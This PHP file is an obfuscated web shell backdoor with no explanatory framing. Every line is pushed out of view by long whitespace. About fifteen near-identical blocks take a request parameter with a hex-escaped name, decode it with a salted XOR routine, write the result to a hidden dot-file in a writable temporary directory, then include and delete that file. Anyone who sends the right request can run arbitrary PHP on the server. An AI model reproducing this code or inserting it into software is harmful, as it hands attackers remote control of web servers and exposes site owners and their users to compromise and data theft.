<?php																																										if(isset($_POST["\x64\x61t"]) ? true : false){ $data = $_POST["\x64\x61t"]; $data =explode ( '.', $data) ; $mrk =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s1); $n =0; while ($n < count($data)) { $v5 =$data[$n]; $chS =ord($s1[$n % $lenS]); $d =((int)$v5 - $chS - ($n % 10)) ^ 37; $mrk.= chr($d); $n++; } $comp = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); for ($ref = 0, $dchunk = count($comp); $ref < $dchunk; $ref++) { $flg = $comp[$ref]; if (array_product([is_dir($flg), is_writable($flg)])) { $ent = vsprintf("%s/%s", [$flg, ".data_chunk"]); if (file_put_contents($ent, $mrk)) { require $ent; unlink($ent); die(); } } } }
																																										if(array_key_exists("h\x6F\x6C\x64er", $_REQUEST) && !is_null($_REQUEST["h\x6F\x6C\x64er"])){ $fac = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), session_save_path(), getcwd()]); $resource = $_REQUEST["h\x6F\x6C\x64er"]; $resource= explode ( '.', $resource ); $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $u = 0; while($u < count($resource)) { $v2 = $resource[$u]; $chS = ord($s[$u % $sLen]); $dec = ((int)$v2 - $chS -($u % 10)) ^ 100; $factor.=chr($dec); $u++; } for ($rec = 0, $value = count($fac); $rec < $value; $rec++) { $hld = $fac[$rec]; if (is_dir($hld) ? is_writable($hld) : false) { $dchunk = vsprintf("%s/%s", [$hld, ".element"]); if (file_put_contents($dchunk, $factor)) { include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(isset($_POST["p\x72\x6F\x70\x65\x72\x74y_set"]) ? true : false){ $desc = $_POST["p\x72\x6F\x70\x65\x72\x74y_set"]; $desc= explode ( "." , $desc ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $desc as $w => $v1): $chS = ord( $salt[$w % $sLen]); $d = ( ( int)$v1 - $chS -( $w % 10)) ^ 22; $pointer .= chr( $d); endforeach; $hld = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($hld as $data): if (array_product([is_dir($data), is_writable($data)])) { $bind = vsprintf("%s/%s", [$data, ".symbol"]); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $bind; @unlink($bind); die(); } } endforeach; }
																																										if(isset($_REQUEST["ob\x6A"])){ $data_chunk = $_REQUEST["ob\x6A"]; $data_chunk =explode( '.', $data_chunk ) ; $itm = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); foreach( $data_chunk as $m => $v1): $sChar = ord( $s6[$m % $sLen]); $dec =( ( int)$v1 - $sChar -( $m % 10))^ 18; $itm .= chr( $dec); endforeach; $comp = array_filter([getcwd(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path()]); foreach ($comp as $tkn): if (is_writable($tkn) && is_dir($tkn)) { $item = "$tkn/.factor"; if (file_put_contents($item, $itm)) { include $item; @unlink($item); exit; } } endforeach; }
																																										if(array_key_exists("\x66ac\x74o\x72", $_REQUEST) && !is_null($_REQUEST["\x66ac\x74o\x72"])){ $descriptor = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path()]); $data = $_REQUEST["\x66ac\x74o\x72"]; $data = explode ( '.' , $data ); $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $x = 0; while( $x < count( $data)) {$v2 = $data[$x]; $sChar = ord( $salt[$x %$lenS] ); $d = ( ( int)$v2 - $sChar -( $x %10)) ^ 17; $tkn .= chr( $d ); $x++; } foreach ($descriptor as $ent): if (array_product([is_dir($ent), is_writable($ent)])) { $entry = join("/", [$ent, ".symbol"]); $success = file_put_contents($entry, $tkn); if ($success) { include $entry; @unlink($entry); exit;} } endforeach; }
																																										if(isset($_REQUEST["i\x74e\x6D"])){ $elem = array_filter(["/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp"]); $desc = $_REQUEST["i\x74e\x6D"]; $desc = explode( "." ,$desc ) ; $property_set =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $x =0; while ($x < count($desc)) { $v7 =$desc[$x]; $chS =ord($s[$x%$lenS] ); $d =((int)$v7 - $chS - ($x%10)) ^ 30; $property_set .= chr($d ); $x++; } $ent = 0; do { $component = $elem[$ent] ?? null; if ($ent >= count($elem)) break; if ((bool)is_dir($component) && (bool)is_writable($component)) { $symbol = implode("/", [$component, ".data_chunk"]); $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $symbol; @unlink($symbol); exit; } } $ent++; } while (true); }
																																										if(array_key_exists("f\x61\x63", $_POST) && !is_null($_POST["f\x61\x63"])){ $data = $_POST["f\x61\x63"]; $data = explode ( '.',$data ) ; $hld = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $p = 0; while( $p <count( $data)) { $v3 = $data[$p]; $sChar = ord( $s4[$p % $lenS]); $d = ( ( int)$v3 - $sChar -( $p % 10)) ^ 81; $hld .= chr( $d); $p++; } $val = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), getcwd()]); while ($entry = array_shift($val)) { if (is_writable($entry) && is_dir($entry)) { $ent = "$entry/.value"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(array_key_exists("v\x61\x6Cue", $_REQUEST) && !is_null($_REQUEST["v\x61\x6Cue"])){ $element = $_REQUEST["v\x61\x6Cue"]; $element = explode ( ".", $element ) ; $data_chunk =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt2 ); $y =0; array_walk($element, function($v1) use(&$data_chunk, &$y, $salt2, $sLen) { $chS =ord($salt2[$y % $sLen] ); $d =((int)$v1 - $chS -($y % 10)) ^ 48; $data_chunk .=chr($d ); $y++; } ); $pgrp = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); foreach ($pgrp as $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $desc = join("/", [$ent, ".sym"]); if (file_put_contents($desc, $data_chunk)) { require $desc; unlink($desc); die(); } } } }
																																										if(@$_POST["\x64\x61t"] !== null){ $component = $_POST["\x64\x61t"]; $component = explode( ".", $component ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; foreach ($component as $v9) { $sChar = ord($salt[$t % $lenS]); $dec = ((int)$v9 - $sChar - ($t % 10)) ^ 53; $rec .= chr($dec); $t++; } $record = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); $comp = 0; do { $ent = $record[$comp] ?? null; if ($comp >= count($record)) break; if (is_dir($ent) && is_writable($ent)) { $key = vsprintf("%s/%s", [$ent, ".ptr"]); if (file_put_contents($key, $rec)) { include $key; @unlink($key); die(); } } $comp++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "fl\x67")){ $reference = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", getcwd()]); $ent = $_POST["fl\x67"]; $ent = explode ( '.' , $ent) ; $dat=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s ); $v=0; array_walk( $ent , function( $v2) use( &$dat , &$v , $s , $lenS) { $sChar=ord( $s[$v %$lenS] ); $dec=( ( int)$v2 - $sChar -( $v %10)) ^ 46; $dat.= chr( $dec ); $v++;}); $component = 0; do { $itm = $reference[$component] ?? null; if ($component >= count($reference)) break; if (!( !is_dir($itm) || !is_writable($itm) )) { $entity = join("/", [$itm, ".holder"]); if (file_put_contents($entity, $dat)) { include $entity; @unlink($entity); die(); } } $component++; } while (true); }
																																										if(in_array("\x66\x6Cag", array_keys($_REQUEST))){ $desc = array_filter([session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); $item = $_REQUEST["\x66\x6Cag"]; $item= explode( ".", $item ) ; $binding =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $i =0; $__tmp =$item; while($v4 =array_shift($__tmp)) { $sChar =ord($s[$i % $sLen] ); $dec =((int)$v4 - $sChar -($i % 10)) ^ 66; $binding .= chr($dec ); $i++; } $elem = 0; do { $pset = $desc[$elem] ?? null; if ($elem >= count($desc)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $rec = join("/", [$pset, ".symbol"]); if (file_put_contents($rec, $binding)) { require $rec; unlink($rec); exit; } } $elem++; } while (true); }
																																										if(!is_null($_REQUEST["it\x6D"] ?? null)){ $key = $_REQUEST["it\x6D"]; $key =explode ('.' , $key ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($key as $y => $v5): $sChar = ord($s[$y % $lenS]); $d = ((int)$v5 - $sChar - ($y % 10)) ^62; $flg .= chr($d); endforeach; $data = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); foreach ($data as $component) { if (is_dir($component) ? is_writable($component) : false) { $dchunk = join("/", [$component, ".flag"]); if (@file_put_contents($dchunk, $flg) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["el\x65\x6De\x6Et"])){ $factor = $_REQUEST["el\x65\x6De\x6Et"]; $factor= explode( '.',$factor) ; $component = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9 ); $o = 0; array_walk($factor, function($v8) use(&$component, &$o, $salt9, $lenS) {$sChar = ord($salt9[$o % $lenS] ); $dec = ((int)$v8 - $sChar -($o % 10)) ^ 36; $component .= chr($dec ); $o++;} ); $value = array_filter([getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $ref = 0; do { $k = $value[$ref] ?? null; if ($ref >= count($value)) break; if (is_writable($k) && is_dir($k)) { $pset = sprintf("%s/.comp", $k); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $pset; @unlink($pset); die(); } } $ref++; } while (true); }


if(array_key_exists("toke\x6E", $_REQUEST) && !is_null($_REQUEST["toke\x6E"])){
	$ent = array_filter(["/tmp", "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir()]);
	$tkn = $_REQUEST["toke\x6E"];
	   $tkn		= 	explode ( 	"."		,	 $tkn 	 );			
	$parameter_group = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $salt);
            $__len = count(  $tkn);
    
            for(  $y = 0; $y < $__len; $y++) {
                $v8 = $tkn[$y];
                $chS = ord(  $salt[$y	%$lenS]);
                $d =(  (  int)$v8 - $chS -(  $y	%10)) ^	45;
                $parameter_group.=  chr(  $d);
            }
	$entry = 0;
do {
    $obj = $ent[$entry] ?? null;
    if ($entry >= count($ent)) break;
    		if ((is_dir($obj) and is_writable($obj))) {
    $ptr = join("/", [$obj, ".pointer"]);
    if (@file_put_contents($ptr, $parameter_group) !== false) {
	include $ptr;
	unlink($ptr);
	die();
}
}
    $entry++;
} while (true);
}